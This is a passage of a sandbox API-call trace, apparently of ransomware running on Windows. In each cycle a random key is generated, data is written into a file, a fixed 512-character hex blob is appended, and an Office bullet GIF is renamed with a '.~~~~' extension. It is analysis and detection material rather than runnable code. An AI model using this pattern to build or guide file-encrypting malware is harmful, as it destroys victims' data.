	[0127.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7f78
	[0127.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0127.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0127.875] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.875] GetLastError () returned 0x0
	[0127.875] GetLastError () returned 0x0
	[0127.875] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.875] GetLastError () returned 0x0
	[0127.875] GetLastError () returned 0x0
	[0127.877] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.877] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xc7, lpOverlapped=0x0) returned 1
	[0127.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.879] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.879] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.879] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.879] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.879] CloseHandle (hObject=0x140) returned 1
	[0127.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7f78
	[0127.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif.~~~~")) returned 1
	[0127.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0127.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.881] GetLastError () returned 0x0
	[0127.882] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.883] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.883] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.926] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24791667912) returned 1
	[0127.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5b2ccd0, dwHighDateTime=0x1d60e1e)) 
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a47f78
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a47f78 | out: hHeap=0x300000) returned 1
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0127.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c420
	[0127.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.928] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.928] GetLastError () returned 0x0
	[0127.928] GetLastError () returned 0x0
	[0127.928] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.928] GetLastError () returned 0x0
	[0127.929] GetLastError () returned 0x0
	[0127.932] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.933] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xaa, lpOverlapped=0x0) returned 1
	[0127.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.935] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.935] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.935] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.936] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.936] CloseHandle (hObject=0x140) returned 1
	[0127.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0127.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif.~~~~")) returned 1
	[0128.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.420] GetLastError () returned 0x0
	[0128.421] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29fe350) returned 1
	[0128.422] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.422] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.422] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24841251167) returned 1
	[0128.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5fef8d0, dwHighDateTime=0x1d60e1e)) 
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cac0
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cac0 | out: hHeap=0x300000) returned 1
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7288
	[0128.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0128.423] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0128.423] GetLastError () returned 0x0
	[0128.424] GetLastError () returned 0x0
	[0128.424] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0128.424] GetLastError () returned 0x0
	[0128.424] GetLastError () returned 0x0
	[0128.426] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.426] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x146, lpOverlapped=0x0) returned 1
	[0128.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0128.429] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.429] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.429] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.429] CloseHandle (hObject=0x140) returned 1
	[0128.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7288
	[0128.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif.~~~~")) returned 1
	[0128.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0128.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.431] GetLastError () returned 0x0
	[0128.610] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0128.611] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.611] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.611] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24860125016) returned 1
	[0128.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb61b8950, dwHighDateTime=0x1d60e1e)) 
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a08
	[0128.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a08 | out: hHeap=0x300000) returned 1
	[0128.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa508
	[0128.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.612] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0128.612] GetLastError () returned 0x0
	[0128.612] GetLastError () returned 0x0
	[0128.612] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0128.613] GetLastError () returned 0x0
	[0128.613] GetLastError () returned 0x0
	[0128.614] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.614] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6c, lpOverlapped=0x0) returned 1
	[0128.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.616] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.616] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.617] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.617] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.617] CloseHandle (hObject=0x128) returned 1
	[0128.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0128.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif.~~~~")) returned 1
	[0129.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0129.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.319] GetLastError () returned 0x0
	[0129.323] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.364] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.364] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.364] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24935427860) returned 1
	[0129.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb68dcb50, dwHighDateTime=0x1d60e1e)) 
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821ff0
	[0129.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821ff0 | out: hHeap=0x300000) returned 1
	[0129.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa508
	[0129.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0129.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.365] GetLastError () returned 0x0
	[0129.365] GetLastError () returned 0x0
	[0129.365] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.365] GetLastError () returned 0x0
	[0129.365] GetLastError () returned 0x0
	[0129.367] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.367] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0129.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.369] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.369] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.370] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.370] CloseHandle (hObject=0xc4) returned 1
	[0129.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0129.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif.~~~~")) returned 1
	[0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0129.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.375] GetLastError () returned 0x0
	[0129.376] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29ffde0) returned 1
	[0129.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.377] CryptReleaseContext (hProv=0x29ffde0, dwFlags=0x0) returned 1
	[0129.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.377] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24936735167) returned 1
	[0129.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb68dcb50, dwHighDateTime=0x1d60e1e)) 
	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
